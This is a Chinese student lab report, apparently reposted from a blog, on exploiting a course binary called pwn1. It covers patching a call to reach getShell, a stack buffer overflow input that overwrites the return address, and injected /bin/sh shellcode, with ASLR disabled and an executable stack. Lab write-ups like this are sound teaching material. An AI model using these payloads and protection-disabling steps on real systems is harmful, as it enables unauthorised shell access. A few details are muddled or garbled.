EXP1 PC平台逆向破解
一、實踐目標
1.本次實踐的對象是一個名為20154310(原為pwn1)的linux可執行文件。
2.該程序正常執行流程是:main調用foo函數,foo函數會簡單回顯任何用戶輸入的字符串。
3.該程序同時包含另一個代碼片段,getShell,會返回一個可用Shell。正常情況下這個代碼是不會被運行的。我們實踐的目標就是想辦法運行這個代碼片段。我們將學習兩種方法運行這個代碼片段,然后學習如何注入運行任何Shellcode。
?
二、實踐內容
1.手工修改可執行文件,改變程序執行流程,直接跳轉到getShell函數。
2.利用foo函數的Bof漏洞,構造一個攻擊輸入字符串,覆蓋返回地址,觸發getShell函數。
3.注入一個shellcode并運行這段shellcode。
?
三、實踐步驟
1.1 將可執行文件pwn1復制另存為文件名為學號20154310的文件。
?
1.2使用objdump -d 20154310 | more命令查看目標文件20154310的反匯編代碼。可看到main函數在第80484b5行出call 8048491處調用執行foo函數,對應機器碼為e8 d7 ff ff ff
?
?
想要使main函數在此處改為跳轉執行getshell函數,修改d7為c3即可( “d7ffffff”是補碼,表示-41,41 = 0x29 ,80484ba + d7ffffff = 80484ba - 0x29 正好是8048491這個值。)
1.3輸入vi指令打開為二進制文檔,后,。
?
再輸入:%!xxd指令,查看其十六進制格式
?
輸入/e8 7d查找,并將其修改為c3,
?
輸入:%!xxd -r轉換16進制為原格式
?
然后輸入/wq保存并退出
?
運行修改后的文件,成功執行getshell,再用反匯編指令查看其機器碼,不難發現此時已經改變了原代碼?
?
2.1通過構造輸入參數,造成BOF攻擊,改變程序執行流 由1.2圖中可看出,main主函數會調用foo函數,我們將實現main主函數調用getshell函數,并得到getshell函數的地址為“0804847d”。
?
接下來確認緩沖區大小,溢出的部分將會覆蓋到返回地址,cpu會嘗試執行該部分代碼,我們只需要調試出輸入多少字符會溢出以及溢出字符的輸入輸出順序,即輸入字符串后嗎,哪幾個字符會覆蓋到返回地址。把該溢出部分的數字對應上getshell的地址,cpu就會執行getshell。通過gdb進行調試,確認多少字符之后能覆蓋以及覆蓋到什么位置。
?
我們輸入1111111122222222333333334444444412345678進行嘗試。
?
?
可以看出在eip寄存器內顯示的16進制為34333231,1234為溢出字符,且存儲為倒序。
?
2.2倒序輸入getshell的內存地址 即“11111111222222223333333344444444\x7d\x84\x04\x08”,其中“\x0a”表示回車
perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > input 并用16進制查看指令xxd,查看input文件的內容 xxd input
?
?
2.3將input的輸入,通過管道符“|”,作為20154310的輸入,并查看效果。
3.1注入Shellcode并執行
準備一段Shellcode
shellcode就是一段機器指令,我們這里使用的shellcode是文章“Shellcode”入門中生成的shellcode。 \x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\
安裝execstack軟件apt-get install execstack 設置堆棧可執行execstack -s 20154310?查詢文件的堆棧是否可執行.execstack -q 20154310檢測地址隨機化狀態more /proc/sys/kernel/randomize_va_space 關閉地址隨機化echo "0" > /proc/sys/kernel/randomize_va_space 檢測地址隨機化狀態more /proc/sys/kernel/randomize_va_space??
如圖所示,已完成設置,X表示文件的堆棧可執行,0表示地址隨機化。
3.2把輸入的字串放入input_shellcode文件里
perl -e 'print "\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x4\x3\x2\x1\x00"' > input_shellcode 其中,最后的\x4\x3\x2\x1將覆蓋到堆棧上的返回地址的位置。?
?
3.4打開另一個終端進行調試
1.查看進程號為:4531 ps -ef | grep 20154310
2.啟動gdb進行調試 -gdb -attach 4531
3.5在gdb模式下設置斷點,來查看注入buf的內存地址。
disassemble foo?
?
?
?
可以看到,會斷在080484ae,ret完,就跳到我們覆蓋的retaddr的位置了。
3.6設置斷點后回到另一個終端,按一下回車后再回到該終端進行調試。
-break *0x080484ae -c
3.7先找到ESP的地址,再根據ESP的地址找到shellcode的地址。
x/16x 0xffffd38c?
?
如圖,找到了shellcode的起始位置90909090,以及1234所在的位置,\x1\x2\x3\x4應該緊挨著shellcode,所以shellcode的位置應該是0xffffd390。
退出gdb模式后,將shellcode寫進去
perl -e 'print "A" x 32;print "\x90\xd3\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00"' > input_shellcode
(cat input_shellcode;cat) | ./?20154310
?
如上圖所示,注入攻擊成功。
五.實驗體會
這次實驗是我第一次使用虛擬機來進行反匯編操作,在此之前我沒有使用過linux系統。用慣了windows圖形界面的操作,對于代碼命令行的使用還有些生疏,希望在以后的實驗能夠多多練習,成功掌握這項技能。
轉載于:https://www.cnblogs.com/895359188qq/p/9136525.html
《新程序員》:云原生和全面數字化實踐50位技術專家共同創作,文字、視頻、音頻交互閱讀總結
以上是生活随笔為你收集整理的EXP1 PC平台逆向破解的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: [SCOI2010]股票交易
- 下一篇: 开发nagios插件监控/etc/pas